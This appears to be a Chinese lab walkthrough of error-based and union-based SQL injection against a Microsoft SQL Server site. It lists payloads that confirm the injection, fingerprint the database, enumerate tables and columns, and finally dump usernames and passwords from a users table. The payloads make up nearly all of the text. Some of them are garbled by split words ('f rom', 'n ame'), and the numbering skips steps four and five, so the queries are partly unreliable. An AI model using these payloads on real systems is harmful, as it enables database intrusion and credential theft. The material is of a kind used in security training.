步骤⼀:在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型
id=1
id=1'
id=1' --
步骤⼆:可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是
MSSQL;也可根据⻚⾯报错信息来判断数据库
exists(select * from sysobjects)
![](https://i-blog.csdnimg.cn/direct/5582e60281c547eca6f948e25d849aa9.png)
步骤三:通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--
第⼆张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ')
第三张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ')
第四张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ')
第五张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ' and name !=' referers ')-- // 返回结果为空,说明不知道第五张表
步骤六:通过以下语句爆出表下的所有字段信息
having 1=1
group by 字段名 1 having 1=1
步骤七:爆字段值
- 1 'union select 1,2,3 from users
- 1 ' union all select 1,(select top 1 username from users),(select top 1 password from users)--+